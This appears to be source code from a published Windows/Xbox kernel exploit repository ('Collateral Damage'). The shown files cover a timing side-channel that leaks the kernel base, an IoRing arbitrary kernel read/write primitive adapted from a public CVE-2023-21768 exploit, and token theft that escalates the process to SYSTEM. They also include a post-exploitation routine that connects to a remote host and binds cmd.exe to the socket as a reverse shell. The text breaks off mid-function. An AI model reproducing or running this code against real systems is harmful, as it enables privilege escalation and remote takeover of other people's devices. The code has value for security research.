KERNEL_LOWER_BOUND; 320 | while (x < ADDR_COUNT) 321 | { 322 | UINT64 addr = KERNEL_LOWER_BOUND + (x * STEP); 323 | UINT64 res = sidechannel(addr); 324 | if (i >= DUMMY_ITERATIONS) { 325 | timings[(x * ITERATIONS) + (i - DUMMY_ITERATIONS)] = res; 326 | } 327 | x++; 328 | } 329 | } 330 | 331 | //dump_timings(dump_path, timings); 332 | 333 | // take avgs 334 | for (UINT64 x = 0; x < ADDR_COUNT; x++) 335 | { 336 | UINT64 avg = 0; 337 | for (UINT64 i = 0; i < ITERATIONS; i++) 338 | { 339 | avg += timings[(x * ITERATIONS) + i]; 340 | } 341 | avg /= ITERATIONS; 342 | avgs[x] = avg; 343 | } 344 | 345 | // account for anomalies on boundaries 346 | for (UINT64 x = 0; x < ADDR_COUNT; x++) 347 | { 348 | UINT64 addr = KERNEL_LOWER_BOUND + (x * STEP); 349 | if (addr % 0x2000000 == 0) 350 | { 351 | if (x + 1 < ADDR_COUNT) { 352 | avgs[x] = avgs[x + 1]; 353 | } 354 | else { 355 | avgs[x] = avgs[x - 1]; 356 | } 357 | } 358 | avg_total += avgs[x]; 359 | } 360 | 361 | avg_total /= ADDR_COUNT; 362 | threshold = avg_total + (avg_total / 3); 363 | 364 | UINT64 cur_range = 0; 365 | UINT64 cur_range_len = 0; 366 | for (UINT64 i = 0; i < ADDR_COUNT; i++) 367 | { 368 | UINT32 cur_timing = avgs[i]; 369 | if (cur_timing > threshold) { 370 | if (cur_range) { 371 | cur_range_len++; 372 | } 373 | else { 374 | cur_range = i; 375 | cur_range_len = 1; 376 | } 377 | } 378 | else { 379 | if (cur_range) { 380 | if (cur_range_len > 4) { 381 | ranges[ranges_count].addr = KERNEL_LOWER_BOUND + ((i - cur_range_len) * STEP); 382 | ranges[ranges_count].count = cur_range_len; 383 | ranges_count++; 384 | } 385 | 386 | cur_range_len = 0; 387 | } 388 | } 389 | } 390 | 391 | HeapFree(h_heap, 0, timings); 392 | HeapFree(h_heap, 0, avgs); 393 | g_ranges_ptr = ranges; 394 | g_ranges_count = ranges_count; 395 | 396 | UINT64 kernel_base = 0; 397 | 398 | for (int i = 0; i < ranges_count; i++) { 399 | UINT64 cur_addr = ranges[i].addr; 400 | UINT64 cur_count = ranges[i].count; 401 | 402 | if (cur_count > 80 && cur_count < 120) { 403 | kernel_base = cur_addr - 0x600000; 404 | break; 405 | } 406 | } 407 | 408 | return kernel_base; 409 | } 410 | 411 | int main(int argc, char** argv) 412 | { 413 | DWORD bytes_written = 0; 414 | UINT64 ioring_addr = 0; 415 | ULONG build_rev = 0; 416 | CHAR path[0x400] = { 0 }; 417 | CHAR ptr_msg[0x400] = { 0 }; 418 | CHAR* cur_msg = NULL; 419 | CHAR* file_part = NULL; 420 | 421 | // Connect to the host for logging & remote shell 422 | int start = WSAStartup(MAKEWORD(2, 2), &wsaData); 423 | winSock = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, 0); 424 | sockAddr.sin_family = AF_INET; 425 | sockAddr.sin_port = htons(port); 426 | sockAddr.sin_addr.s_addr = inet_addr(GLOBAL_INFO->ip_addr); 427 | WSAConnect(winSock, (SOCKADDR*)&sockAddr, sizeof(sockAddr), NULL, NULL, NULL, NULL); 428 | 429 | // Write our banner message 430 | cur_msg = "Collateral Damage - @carrot_c4k3 & @landaire (exploits.forsale)\n"; 431 | send(winSock, cur_msg, strlen(cur_msg), 0); 432 | 433 | // Get and print the build number 434 | ULONG ret_len = 0; 435 | SYSTEM_BUILD_VERSION_INFORMATION build_version = { 0 }; 436 | ULONG layer = 0; 437 | NtQuerySystemInformationEx(SystemBuildVersionInformation, &layer, sizeof(layer), &build_version, sizeof(build_version), &ret_len); 438 | sprintf_s(ptr_msg, sizeof(ptr_msg), "Build number: %i.%i\n", build_version.NtBuildNumber, build_version.NtBuildQfe); 439 | send(winSock, ptr_msg, strlen(ptr_msg), 0); 440 | 441 | // Check that the build is supported 442 | if (build_version.NtBuildNumber == 25398) 443 | { 444 | if (build_version.NtBuildQfe == 4478) 445 | { 446 | build_rev = 4478; 447 | } 448 | else if (build_version.NtBuildQfe == 4908 || build_version.NtBuildQfe == 4909) 449 | { 450 | // offsets are the same for 4908 and 4909 451 | build_rev = 4908; 452 | } 453 | } 454 | 455 | if (build_rev == 0) 456 | { 457 | cur_msg = "Unsupported build! Aborting.\n"; 458 | send(winSock, cur_msg, strlen(cur_msg), 0); 459 | exit(0); 460 | } 461 | 462 | set_build_rev(build_rev); 463 | 464 | // Attempt to leak the kernel address 465 | cur_msg = "Attempting to find kernel base...\n"; 466 | send(winSock, cur_msg, strlen(cur_msg), 0); 467 | FlushFileBuffers(winSock); 468 | UINT64 nt_base = do_sidechannel(); 469 | g_kernel_base = nt_base; 470 | 471 | // If it fails bail and tell the user to reboot 472 | if (nt_base == 0) 473 | { 474 | cur_msg = "Failed to find kernel base! Reboot your console and try again.\n"; 475 | send(winSock, cur_msg, strlen(cur_msg), 0); 476 | exit(0); 477 | return 0; 478 | } 479 | 480 | // Log the kernel base we leaked 481 | sprintf_s(ptr_msg, sizeof(ptr_msg), "Found likely kernel base: %p\n", nt_base); 482 | send(winSock, ptr_msg, strlen(ptr_msg), 0); 483 | 484 | // Do the first part of the exploit: corrupting SeMediumDaclSd 485 | cur_msg = "Attempting exploit...\n"; 486 | send(winSock, cur_msg, strlen(cur_msg), 0); 487 | do_exploit(); 488 | 489 | // If we succeeded the system EPROC should be non-null 490 | if (ullSystemEPROCaddr == 0) 491 | { 492 | cur_msg = "Exploit failed! Reboot your console and try again.\n"; 493 | send(winSock, cur_msg, strlen(cur_msg), 0); 494 | exit(0); 495 | return 0; 496 | } 497 | 498 | // Setup the IO ring 499 | ioring_addr = 0; 500 | int res = ioring_setup(&ioring_addr); 501 | if (res != 0) 502 | { 503 | sprintf_s(ptr_msg, sizeof(ptr_msg), "IO Ring setup failed. Result: %i\nReboot your console and try again.\n", res); 504 | send(winSock, ptr_msg, strlen(ptr_msg), 0); 505 | } 506 | 507 | // Corrupt the IO ring object 508 | do_write(ioring_addr + 0x9D); 509 | 510 | // Get kernel RW & elevate our process, then fix up SeMediumDaclSd 511 | ioring_lpe2(GetCurrentProcessId(), 0x65007500, 0x1000, ioring_addr, g_kernel_base); 512 | cur_msg = "Exploit succeeded! Running payload!\n\n"; 513 | send(winSock, cur_msg, strlen(cur_msg), 0); 514 | 515 | // Run our post-exploitation code 516 | post_exploit(winSock); 517 | 518 | 519 | return 0; 520 | } -------------------------------------------------------------------------------- /collat_payload/collat_payload.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | 31 | 32 | 33 | 34 | 35 | 36 | 37 | 17.0 38 | Win32Proj 39 | {c8172e40-5d40-417a-a6a4-e233c0d1ac12} 40 | collatpayload 41 | 10.0 42 | 43 | 44 | 45 | Application 46 | true 47 | v143 48 | Unicode 49 | 50 | 51 | Application 52 | false 53 | v143 54 | true 55 | Unicode 56 | 57 | 58 | Application 59 | true 60 | v143 61 | Unicode 62 | 63 | 64 | Application 65 | false 66 | v143 67 | true 68 | Unicode 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | Level3 92 | true 93 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 94 | true 95 | 96 | 97 | Console 98 | true 99 | 100 | 101 | 102 | 103 | Level3 104 | true 105 | true 106 | true 107 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 108 | true 109 | 110 | 111 | Console 112 | true 113 | true 114 | true 115 | 116 | 117 | 118 | 119 | Level3 120 | true 121 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 122 | true 123 | 124 | 125 | Console 126 | true 127 | 128 | 129 | 130 | 131 | Level3 132 | true 133 | true 134 | true 135 | _WINSOCKAPI_;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 136 | true 137 | MultiThreaded 138 | false 139 | None 140 | 141 | 142 | Console 143 | true 144 | true 145 | true 146 | onecoreuap.lib;$(SolutionDir)ntdll.lib 147 | 148 | 149 | 150 | 151 | 152 | 153 | -------------------------------------------------------------------------------- /collat_payload/collat_payload.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | Source Files 26 | 27 | 28 | Source Files 29 | 30 | 31 | 32 | 33 | Header Files 34 | 35 | 36 | Header Files 37 | 38 | 39 | Header Files 40 | 41 | 42 | Header Files 43 | 44 | 45 | 46 | 47 | Source Files 48 | 49 | 50 | -------------------------------------------------------------------------------- /collat_payload/ioring.h: -------------------------------------------------------------------------------- 1 | #ifndef _IORING_H_ 2 | #define _IORING_H_ 3 | 4 | #include "win_defs.h" 5 | 6 | typedef struct _NT_IORING_CREATE_FLAGS 7 | { 8 | enum _NT_IORING_CREATE_REQUIRED_FLAGS Required; 9 | enum _NT_IORING_CREATE_ADVISORY_FLAGS Advisory; 10 | } NT_IORING_CREATE_FLAGS, * PNT_IORING_CREATE_FLAGS; 11 | 12 | typedef struct _NT_IORING_INFO 13 | { 14 | enum IORING_VERSION IoRingVersion; 15 | struct _NT_IORING_CREATE_FLAGS Flags; 16 | unsigned int SubmissionQueueSize; 17 | unsigned int SubmissionQueueRingMask; 18 | unsigned int CompletionQueueSize; 19 | unsigned int CompletionQueueRingMask; 20 | struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue; 21 | struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue; 22 | } NT_IORING_INFO, * PNT_IORING_INFO; 23 | 24 | typedef struct _IOP_MC_BUFFER_ENTRY 25 | { 26 | USHORT Type; 27 | USHORT Reserved; 28 | ULONG Size; 29 | ULONG ReferenceCount; 30 | ULONG Flags; 31 | LIST_ENTRY GlobalDataLink; 32 | PVOID Address; 33 | ULONG Length; 34 | CHAR AccessMode; 35 | ULONG MdlRef; 36 | struct _MDL* Mdl; 37 | KEVENT MdlRundownEvent; 38 | PULONG64 PfnArray; 39 | BYTE PageNodes[0x20]; 40 | } IOP_MC_BUFFER_ENTRY, * PIOP_MC_BUFFER_ENTRY; 41 | 42 | typedef struct _IORING_OBJECT 43 | { 44 | short Type; 45 | short Size; 46 | struct _NT_IORING_INFO UserInfo; 47 | void* Section; 48 | struct _NT_IORING_SUBMISSION_QUEUE* SubmissionQueue; 49 | struct _MDL* CompletionQueueMdl; 50 | struct _NT_IORING_COMPLETION_QUEUE* CompletionQueue; 51 | unsigned __int64 ViewSize; 52 | long InSubmit; 53 | unsigned __int64 CompletionLock; 54 | unsigned __int64 SubmitCount; 55 | unsigned __int64 CompletionCount; 56 | unsigned __int64 CompletionWaitUntil; 57 | struct _KEVENT CompletionEvent; 58 | unsigned char SignalCompletionEvent; 59 | struct _KEVENT* CompletionUserEvent; 60 | unsigned int RegBuffersCount; 61 | struct _IOP_MC_BUFFER_ENTRY** RegBuffers; 62 | unsigned int RegFilesCount; 63 | void** RegFiles; 64 | } IORING_OBJECT, * PIORING_OBJECT; 65 | 66 | typedef struct _HIORING 67 | { 68 | HANDLE handle; 69 | NT_IORING_INFO Info; 70 | ULONG IoRingKernelAcceptedVersion; 71 | PVOID RegBufferArray; 72 | ULONG BufferArraySize; 73 | PVOID Unknown; 74 | ULONG FileHandlesCount; 75 | ULONG SubQueueHead; 76 | ULONG SubQueueTail; 77 | }_HIORING; 78 | 79 | int ioring_setup(PIORING_OBJECT* ppIoRingAddr); 80 | void kwrite(UINT64 addr, PVOID data, SIZE_T size); 81 | int ioring_lpe2(ULONG pid, ULONG64 ullFakeRegBufferAddr, DWORD dwFakeRegBufferCnt, UINT64 ioring_addr, UINT64 nt_base); 82 | int map_region(); 83 | int race_succeeded(ULONG ulFakeRegBufferCnt, UINT64 ioring_addr); 84 | 85 | #endif -------------------------------------------------------------------------------- /collat_payload/ioring_lpe.c: -------------------------------------------------------------------------------- 1 | // 2 | // chompie's ioring_lpe.c (https://github.com/chompie1337/Windows_LPE_AFD_CVE-2023-21768/blob/master/Windows_AFD_LPE_CVE-2023-21768/ioring_lpe.c) 3 | // plus a bunch of messy changes for this scenario~ 4 | // 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #include "ioring.h" 12 | #include "win_defs.h" 13 | #include "nt_offsets.h" 14 | 15 | HIORING hIoRing = NULL; 16 | PIORING_OBJECT pIoRing = NULL; 17 | HANDLE hInPipe = INVALID_HANDLE_VALUE; 18 | HANDLE hOutPipe = INVALID_HANDLE_VALUE; 19 | HANDLE hInPipeClient = INVALID_HANDLE_VALUE; 20 | HANDLE hOutPipeClient = INVALID_HANDLE_VALUE; 21 | 22 | 23 | int ioring_setup(PIORING_OBJECT* ppIoRingAddr) 24 | { 25 | int ret = -1; 26 | IORING_CREATE_FLAGS ioRingFlags = { 0 }; 27 | CHAR in_path[0x400] = { 0 }; 28 | CHAR out_path[0x400] = { 0 }; 29 | ExpandEnvironmentStringsA("%LOCALAPPDATA%\\..\\LocalState\\in_file.bin", in_path, sizeof(in_path)); 30 | ExpandEnvironmentStringsA("%LOCALAPPDATA%\\..\\LocalState\\out_file.bin", out_path, sizeof(out_path)); 31 | 32 | ioRingFlags.Required = IORING_CREATE_REQUIRED_FLAGS_NONE; 33 | ioRingFlags.Advisory = IORING_CREATE_REQUIRED_FLAGS_NONE; 34 | 35 | ret = CreateIoRing(IORING_VERSION_3, ioRingFlags, 0x10000, 0x20000, &hIoRing); 36 | 37 | if (0 != ret) 38 | { 39 | goto done; 40 | } 41 | 42 | ret = getobjptr(ppIoRingAddr, GetCurrentProcessId(), *(PHANDLE)hIoRing); 43 | 44 | if (0 != ret) 45 | { 46 | goto done; 47 | } 48 | 49 | pIoRing = *ppIoRingAddr; 50 | 51 | hInPipe = CreateFileA(in_path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 52 | hOutPipe = CreateFileA(out_path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 53 | 54 | if ((INVALID_HANDLE_VALUE == hInPipe) || (INVALID_HANDLE_VALUE == hOutPipe)) 55 | { 56 | ret = GetLastError(); 57 | goto done; 58 | } 59 | 60 | hInPipeClient = CreateFileA(in_path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 61 | hOutPipeClient = CreateFileA(out_path, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); 62 | 63 | if ((INVALID_HANDLE_VALUE == hInPipeClient) || (INVALID_HANDLE_VALUE == hOutPipeClient)) 64 | { 65 | ret = GetLastError(); 66 | goto done; 67 | } 68 | 69 | ret = 0; 70 | 71 | done: 72 | return ret; 73 | } 74 | 75 | int getobjptr(PULONG64 ppObjAddr, ULONG ulPid, HANDLE handle) 76 | { 77 | int ret = -1; 78 | PSYSTEM_HANDLE_INFORMATION pHandleInfo = NULL; 79 | ULONG ulBytes = 0; 80 | NTSTATUS ntStatus = STATUS_SUCCESS; 81 | 82 | while ((ntStatus = NtQuerySystemInformation(SystemHandleInformation, pHandleInfo, ulBytes, &ulBytes)) == STATUS_INFO_LENGTH_MISMATCH) 83 | { 84 | if (pHandleInfo != NULL) 85 | { 86 | pHandleInfo = HeapReAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, pHandleInfo, 2 * ulBytes); 87 | } 88 | 89 | else 90 | { 91 | pHandleInfo = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, 2 * ulBytes); 92 | } 93 | } 94 | 95 | if (ntStatus != STATUS_SUCCESS) 96 | { 97 | ret = ntStatus; 98 | goto done; 99 | } 100 | 101 | for (ULONG i = 0; i < pHandleInfo->NumberOfHandles; i++) 102 | { 103 | if ((pHandleInfo->Handles[i].UniqueProcessId == ulPid) && (pHandleInfo->Handles[i].HandleValue == handle)) 104 | { 105 | *ppObjAddr = pHandleInfo->Handles[i].Object; 106 | ret = 0; 107 | break; 108 | } 109 | } 110 | 111 | done: 112 | if (NULL != pHandleInfo) 113 | { 114 | HeapFree(GetProcessHeap(), 0, pHandleInfo); 115 | } 116 | return ret; 117 | } 118 | 119 | int ioring_read(PULONG64 pRegisterBuffers, ULONG64 pReadAddr, PVOID pReadBuffer, ULONG ulReadLen) 120 | { 121 | int ret = -1; 122 | PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL; 123 | IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hOutPipeClient); 124 | IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0); 125 | IORING_CQE cqe = { 0 }; 126 | 127 | pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE); 128 | 129 | if (NULL == pMcBufferEntry) 130 | { 131 | ret = GetLastError(); 132 | goto done; 133 | } 134 | 135 | pMcBufferEntry->Address = pReadAddr; 136 | pMcBufferEntry->Length = ulReadLen; 137 | pMcBufferEntry->Type = 0xc02; 138 | pMcBufferEntry->Size = 0x80; 139 | pMcBufferEntry->AccessMode = 1; 140 | pMcBufferEntry->ReferenceCount = 1; 141 | 142 | pRegisterBuffers[0] = pMcBufferEntry; 143 | 144 | ret = BuildIoRingWriteFile(hIoRing, reqFile, reqBuffer, ulReadLen, 0, FILE_WRITE_FLAGS_NONE, NULL, IOSQE_FLAGS_NONE); 145 | 146 | if (0 != ret) 147 | { 148 | goto done; 149 | } 150 | 151 | ret = SubmitIoRing(hIoRing, 0, 0, NULL); 152 | 153 | if (0 != ret) 154 | { 155 | goto done; 156 | } 157 | 158 | ret = PopIoRingCompletion(hIoRing, &cqe); 159 | 160 | if (0 != ret) 161 | { 162 | goto done; 163 | } 164 | 165 | if (0 != cqe.ResultCode) 166 | { 167 | ret = cqe.ResultCode; 168 | goto done; 169 | } 170 | 171 | if (0 == ReadFile(hOutPipe, pReadBuffer, ulReadLen, NULL, NULL)) 172 | { 173 | ret = GetLastError(); 174 | goto done; 175 | } 176 | 177 | ret = 0; 178 | 179 | done: 180 | if (NULL != pMcBufferEntry) 181 | { 182 | VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE); 183 | } 184 | return ret; 185 | } 186 | 187 | int ioring_write(PULONG64 pRegisterBuffers, ULONG64 pWriteAddr, PVOID pWriteBuffer, ULONG ulWriteLen) 188 | { 189 | int ret = -1; 190 | PIOP_MC_BUFFER_ENTRY pMcBufferEntry = NULL; 191 | IORING_HANDLE_REF reqFile = IoRingHandleRefFromHandle(hInPipeClient); 192 | IORING_BUFFER_REF reqBuffer = IoRingBufferRefFromIndexAndOffset(0, 0); 193 | IORING_CQE cqe = { 0 }; 194 | CHAR dbg_msg[0x200]; 195 | 196 | 197 | //sprintf(dbg_msg, "ioring_write: %p %p %i\n", pWriteAddr, pWriteBuffer, ulWriteLen); 198 | //OutputDebugStringA(dbg_msg); 199 | //DebugBreak(); 200 | SetFilePointer(hInPipe, 0, NULL, FILE_BEGIN); 201 | if (0 == WriteFile(hInPipe, pWriteBuffer, ulWriteLen, NULL, NULL)) 202 | { 203 | ret = GetLastError(); 204 | goto done; 205 | } 206 | FlushFileBuffers(hInPipe); 207 | SetFilePointer(hInPipe, 0, NULL, FILE_BEGIN); 208 | 209 | pMcBufferEntry = VirtualAlloc(NULL, sizeof(IOP_MC_BUFFER_ENTRY), MEM_COMMIT, PAGE_READWRITE); 210 | 211 | if (NULL == pMcBufferEntry) 212 | { 213 | ret = GetLastError(); 214 | goto done; 215 | } 216 | 217 | pMcBufferEntry->Address = pWriteAddr; 218 | pMcBufferEntry->Length = ulWriteLen; 219 | pMcBufferEntry->Type = 0xc02; 220 | pMcBufferEntry->Size = 0x80; 221 | pMcBufferEntry->AccessMode = 1; 222 | pMcBufferEntry->ReferenceCount = 1; 223 | 224 | pRegisterBuffers[0] = pMcBufferEntry; 225 | 226 | SetFilePointer(hInPipeClient, 0, NULL, FILE_BEGIN); 227 | ret = BuildIoRingReadFile(hIoRing, reqFile, reqBuffer, ulWriteLen, 0, NULL, IOSQE_FLAGS_NONE); 228 | 229 | if (0 != ret) 230 | { 231 | goto done; 232 | } 233 | 234 | ret = SubmitIoRing(hIoRing, 0, 0, NULL); 235 | 236 | if (0 != ret) 237 | { 238 | goto done; 239 | } 240 | 241 | ret = PopIoRingCompletion(hIoRing, &cqe); 242 | 243 | if (0 != ret) 244 | { 245 | goto done; 246 | } 247 | 248 | if (0 != cqe.ResultCode) 249 | { 250 | ret = cqe.ResultCode; 251 | goto done; 252 | } 253 | 254 | ret = 0; 255 | 256 | done: 257 | if (NULL != pMcBufferEntry) 258 | { 259 | VirtualFree(pMcBufferEntry, sizeof(IOP_MC_BUFFER_ENTRY), MEM_RELEASE); 260 | } 261 | return ret; 262 | } 263 | 264 | int map_region() 265 | { 266 | PVOID pFakeRegBuffers = VirtualAlloc(0x65000000, 0x100000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE); 267 | //printf("mapped addr: %p\n", pFakeRegBuffers); 268 | 269 | if (pFakeRegBuffers != (PVOID)0x65000000) 270 | { 271 | //printf("failed to map buffer!\n"); 272 | return 0; 273 | } 274 | 275 | return 1; 276 | } 277 | 278 | int race_succeeded(ULONG ulFakeRegBufferCnt, UINT64 ioring_addr) 279 | { 280 | _HIORING* phIoRing = NULL; 281 | 282 | PVOID pFakeRegBuffers = 0x65007500; 283 | 284 | 285 | memset(pFakeRegBuffers, 0, sizeof(ULONG64) * 0x1000); 286 | 287 | phIoRing = *(_HIORING**)&hIoRing; 288 | phIoRing->RegBufferArray = pFakeRegBuffers; 289 | phIoRing->BufferArraySize = ulFakeRegBufferCnt; 290 | 291 | 292 | BYTE zero_buf[0x20]; 293 | memset(zero_buf, 0, sizeof(zero_buf)); 294 | 295 | // quickly fix up the event ptrs 296 | int ret = ioring_write(pFakeRegBuffers, (ioring_addr + 0x90), &zero_buf, 0x20); 297 | 298 | if (ret != 0) 299 | { 300 | return 0; 301 | } 302 | 303 | return 1; 304 | } 305 | 306 | void kwrite(UINT64 addr, PVOID data, SIZE_T size) { 307 | ioring_write(0x65007500, &pIoRing->RegBuffersCount, data, size); 308 | 309 | } 310 | 311 | 312 | int ioring_lpe2(ULONG pid, ULONG64 ullFakeRegBufferAddr, ULONG ulFakeRegBufferCnt, UINT64 ioring_addr, UINT64 nt_base) 313 | { 314 | int ret = -1; 315 | HANDLE hProc = NULL; 316 | ULONG64 ullSystemEPROCaddr = 0; 317 | ULONG64 ullTargEPROCaddr = 0; 318 | PVOID pFakeRegBuffers = NULL; 319 | _HIORING* phIoRing = NULL; 320 | ULONG64 ullSysToken = 0; 321 | char null[0x10] = { 0 }; 322 | 323 | hProc = OpenProcess(PROCESS_QUERY_INFORMATION, 0, pid); 324 | 325 | if (NULL == hProc) 326 | { 327 | ret = GetLastError(); 328 | return ret; 329 | } 330 | 331 | ret = getobjptr(&ullSystemEPROCaddr, 4, 4); 332 | 333 | if (0 != ret) 334 | { 335 | return ret; 336 | } 337 | 338 | ret = getobjptr(&ullTargEPROCaddr, GetCurrentProcessId(), hProc); 339 | 340 | if (0 != ret) 341 | { 342 | return 0; 343 | } 344 | 345 | pFakeRegBuffers = 0x65007500; 346 | 347 | 348 | memset(pFakeRegBuffers, 0, sizeof(ULONG64) * ulFakeRegBufferCnt); 349 | 350 | phIoRing = *(_HIORING**)&hIoRing; 351 | phIoRing->RegBufferArray = pFakeRegBuffers; 352 | phIoRing->BufferArraySize = ulFakeRegBufferCnt; 353 | 354 | 355 | BYTE zero_buf[0x20]; 356 | memset(zero_buf, 0, sizeof(zero_buf)); 357 | 358 | // quickly fix up the event ptrs 359 | ioring_write(pFakeRegBuffers, (ioring_addr + 0x90), &zero_buf, 0x20); 360 | 361 | ret = ioring_read(pFakeRegBuffers, ullSystemEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)); 362 | 363 | if (0 != ret) 364 | { 365 | //wprintf(L"token read failed!\n"); 366 | return 0; 367 | } 368 | 369 | ret = ioring_write(pFakeRegBuffers, ullTargEPROCaddr + EPROC_TOKEN_OFFSET, &ullSysToken, sizeof(ULONG64)); 370 | 371 | if (0 != ret) 372 | { 373 | // wprintf(L"token write failed\n"); 374 | } 375 | 376 | UINT64 orig_val = nt_base + get_orig_sd_offset(); 377 | ret = ioring_write(pFakeRegBuffers, nt_base + get_sd_ptr_offset(), &orig_val, sizeof(orig_val)); 378 | 379 | ioring_write(pFakeRegBuffers, &pIoRing->RegBuffersCount, &null, 0x10); 380 | 381 | } 382 | -------------------------------------------------------------------------------- /collat_payload/nt_offsets.c: -------------------------------------------------------------------------------- 1 | #include "nt_offsets.h" 2 | 3 | #include 4 | 5 | ULONG build_rev = 0; 6 | 7 | VOID set_build_rev(ULONG rev) 8 | { 9 | build_rev = rev; 10 | } 11 | 12 | UINT64 get_sd_ptr_offset() 13 | { 14 | if (build_rev == 4478) 15 | { 16 | return SD_PTR_OFFSET_4478; 17 | } 18 | else if (build_rev == 4908 || 4909) 19 | { 20 | return SD_PTR_OFFSET_4908; 21 | } 22 | 23 | return 0; 24 | } 25 | 26 | UINT64 get_orig_sd_offset() 27 | { 28 | if (build_rev == 4478) 29 | { 30 | return ORIG_SD_OFFSET_4478; 31 | } 32 | else if (build_rev == 4908 || 4909) 33 | { 34 | return ORIG_SD_OFFSET_4908; 35 | } 36 | 37 | return 0; 38 | } -------------------------------------------------------------------------------- /collat_payload/nt_offsets.h: -------------------------------------------------------------------------------- 1 | #ifndef _NT_OFFSETS 2 | #define _NT_OFFSETS 3 | #include 4 | 5 | 6 | // PC 7 | //#define ORIG_SD_OFFSET 0xd55f20 8 | //#define SD_PTR_OFFSET 0xd55658 9 | 10 | // Xbox - 4478 11 | #define ORIG_SD_OFFSET_4478 0xC62B8 12 | #define SD_PTR_OFFSET_4478 0xC5A58 13 | 14 | // Xbox - 4908/4909 15 | #define ORIG_SD_OFFSET_4908 0xC62B8 16 | #define SD_PTR_OFFSET_4908 0xC5A48 17 | 18 | VOID set_build_rev(ULONG rev); 19 | UINT64 get_sd_ptr_offset(); 20 | UINT64 get_orig_sd_offset(); 21 | 22 | 23 | #endif 24 | -------------------------------------------------------------------------------- /collat_payload/post_exploit.c: -------------------------------------------------------------------------------- 1 | #include "post_exploit.h" 2 | 3 | #include 4 | #include 5 | #include 6 | 7 | #define POST_EXPLOIT_REVERSE_SHELL 0 8 | 9 | typedef struct { 10 | const char* image_name; 11 | const char* image_args; 12 | } SHELLCODE_ARGS; 13 | 14 | void post_exploit_simple_reverse_shell(SOCKET sock) { 15 | // Spawn CMD using the socket for input and output 16 | STARTUPINFO sinfo; 17 | PROCESS_INFORMATION pinfo; 18 | 19 | memset(&sinfo, 0, sizeof(sinfo)); 20 | sinfo.cb = sizeof(sinfo); 21 | sinfo.dwFlags = STARTF_USESTDHANDLES; 22 | sinfo.hStdError = (HANDLE)sock; 23 | sinfo.hStdInput = (HANDLE)sock; 24 | sinfo.hStdOutput = (HANDLE)sock; 25 | 26 | CreateProcessA(NULL, "cmd.exe", NULL, NULL, TRUE, 0, NULL, "S:\\", &sinfo, &pinfo); 27 | } 28 | 29 | void post_exploit_spawn_ssh_server(SOCKET sock) { 30 | CHAR* cur_msg[0x200] = { 0 }; 31 | 32 | // We leave this commented for easy debugging 33 | 34 | //// Spawn CMD using the sock for input and output 35 | //STARTUPINFO sinfo; 36 | //PROCESS_INFORMATION pinfo; 37 | 38 | //memset(&sinfo, 0, sizeof(sinfo)); 39 | //memset(&pinfo, 0, sizeof(pinfo)); 40 | 41 | //sinfo.cb = sizeof(sinfo); 42 | //sinfo.dwFlags = STARTF_USESTDHANDLES; 43 | //sinfo.hStdError = (HANDLE)sock; 44 | //sinfo.hStdInput = (HANDLE)sock; 45 | //sinfo.hStdOutput = (HANDLE)sock; 46 | 47 | //sprintf(cur_msg, "Creating conhost process\n"); 48 | //send(sock, cur_msg, strlen(cur_msg), 0); 49 | 50 | //CreateProcessA(NULL, "conhost.exe", NULL, NULL, TRUE, CREATE_SUSPENDED | CREATE_NO_WINDOW | CREATE_NEW_PROCESS_GROUP, NULL, NULL, &sinfo, &pinfo); 51 | 52 | //HANDLE target_process = pinfo.hProcess; 53 | //DWORD target_pid = pinfo.dwProcessId; 54 | 55 | // TO REMOVE ETWUPLOADER INJECTION, COMMENT FROM HERE TO NEXT MARKER 56 | 57 | HANDLE 